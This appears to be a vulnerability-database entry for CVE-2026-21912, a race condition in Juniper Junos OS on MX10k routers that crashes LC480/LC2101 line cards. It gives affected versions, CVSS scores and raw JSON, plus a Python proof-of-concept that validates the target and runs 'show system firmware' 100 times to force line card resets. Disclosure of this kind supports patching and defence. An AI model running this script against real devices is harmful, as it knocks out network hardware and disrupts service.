Security Vulnerability Report
中文
CVE-2026-21912 CVSS 5.5 MEDIUM

CVE-2026-21912

Published: 2026-01-15 21:16:07
Last Modified: 2026-02-25 17:18:20

Description

A Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in the method to collect FPC Ethernet firmware statistics of Juniper Networks Junos OS on MX10k Series allows a local, low-privileged attacker executing the 'show system firmware' CLI command to cause an LC480 or LC2101 line card to reset. On MX10k Series systems with LC480 or LC2101 line cards, repeated execution of the 'show system firmware' CLI command can cause the line card to crash and restart. Additionally, some time after the line card crashes, chassisd may also crash and restart, generating a core dump.This issue affects Junos OS on MX10k Series:  * all versions before 21.2R3-S10,  * from 21.4 before 21.4R3-S9,  * from 22.2 before 22.2R3-S7,  * from 22.4 before 22.4R3-S6,  * from 23.2 before 23.2R2-S2,  * from 23.4 before 23.4R2-S3,  * from 24.2 before 24.2R2.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:21.2:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:21.2:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:21.2:r1-s1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:21.2:r1-s2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:juniper:lc2101:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:juniper:lc480:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:juniper:mx10004:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:juniper:mx10008:-:*:*:*:*:*:*:* - NOT VULNERABLE
Junos OS MX10k < 21.2R3-S10
Junos OS MX10k 21.4 - 21.4R3-S9
Junos OS MX10k 22.2 - 22.2R3-S7
Junos OS MX10k 22.4 - 22.4R3-S6
Junos OS MX10k 23.2 - 23.2R2-S2
Junos OS MX10k 23.4 - 23.4R2-S3
Junos OS MX10k 24.2 - 24.2R2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-21912 PoC - TOCTOU Race Condition in Junos OS # Target: Juniper MX10k Series with LC480/LC2101 line cards # Note: This PoC is for educational and authorized testing purposes only import subprocess import time import sys def check_environment(): """Check if running on Junos OS MX10k device""" try: result = subprocess.run(['cli', '-c', 'show version'], capture_output=True, text=True, timeout=10) if 'Junos' in result.stdout and 'MX' in result.stdout: return True except: pass return False def check_linecard(): """Verify LC480 or LC2101 line card is present""" try: result = subprocess.run(['cli', '-c', 'show chassis hardware'], capture_output=True, text=True, timeout=10) return 'LC480' in result.stdout or 'LC2101' in result.stdout except: return False def exploit_toctou(): """Execute the TOCTOU race condition exploit""" print("[*] Starting CVE-2026-21912 TOCTOU exploit...") print("[*] Target: Juniper MX10k Series FPC firmware statistics collection") if not check_environment(): print("[-] Error: Target does not appear to be Junos OS MX10k Series") return False if not check_linecard(): print("[-] Error: LC480 or LC2101 line card not detected") return False print("[*] Target validated. Starting race condition attack...") print("[*] Executing 'show system firmware' command repeatedly...") # Race condition: rapid repeated execution iterations = 100 for i in range(iterations): try: subprocess.run(['cli', '-c', 'show system firmware'], capture_output=True, timeout=5) if i % 10 == 0: print(f"[*] Progress: {i}/{iterations} iterations completed") except subprocess.TimeoutExpired: print(f"[!] Iteration {i}: Command timeout - possible hang detected") except Exception as e: print(f"[!] Iteration {i}: Error - {e}") print("[*] Exploit execution completed") print("[*] Check for line card resets: cli -c 'show chassis fpc'") print("[*] Check for chassisd crashes: cli -c 'show system core-dumps'") return True if __name__ == '__main__': print("=" * 60) print("CVE-2026-21912 PoC - Junos OS TOCTOU Race Condition") print("=" * 60) exploit_toctou()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21912", "sourceIdentifier": "[email protected]", "published": "2026-01-15T21:16:07.357", "lastModified": "2026-02-25T17:18:19.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in the method to collect FPC Ethernet firmware statistics of Juniper Networks Junos OS on MX10k Series allows a local, low-privileged attacker executing the 'show system firmware' CLI command to cause an LC480 or LC2101 line card to reset.\n\nOn MX10k Series systems with LC480 or LC2101 line cards, repeated execution of the 'show system firmware' CLI command can cause the line card to crash and restart. Additionally, some time after the line card crashes, chassisd may also crash and restart, generating a core dump.This issue affects Junos OS on MX10k Series: \n\n\n\n * all versions before 21.2R3-S10, \n * from 21.4 before 21.4R3-S9, \n * from 22.2 before 22.2R3-S7, \n * from 22.4 before 22.4R3-S6, \n * from 23.2 before 23.2R2-S2, \n * from 23.4 before 23.4R2-S3, \n * from 24.2 before 24.2R2."}, {"lang": "es", "value": "Una vulnerabilidad de condición de carrera (TOCTOU) de tiempo de verificación y tiempo de uso en el método para recopilar estadísticas de firmware Ethernet FPC de Juniper Networks Junos OS en la serie MX10k permite a un atacante local con pocos privilegios que ejecuta el comando CLI 'show system firmware' causar que una tarjeta de línea LC480 o LC2101 se reinicie.\n\nEn sistemas de la serie MX10k con tarjetas de línea LC480 o LC2101, la ejecución repetida del comando CLI 'show system firmware' puede causar que la tarjeta de línea falle y se reinicie. Además, algún tiempo después de que la tarjeta de línea falle, chassisd también puede fallar y reiniciarse, generando un volcado de memoria. Este problema afecta a Junos OS en la serie MX10k:\n\n * todas las versiones anteriores a 21.2R3-S10,\n * desde 21.4 anteriores a 21.4R3-S9,\n * desde 22.2 anteriores a 22.2R3-S7,\n * desde 22.4 anteriores a 22.4R3-S6,\n * desde 23.2 anteriores a 23.2R2-S2,\n * desde 23.4 anteriores a 23.4R2-S3,\n * desde 24.2 anteriores a 24.2R2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:M/U:Amber", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "AUTOMATIC", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.2", "mat ... (truncated)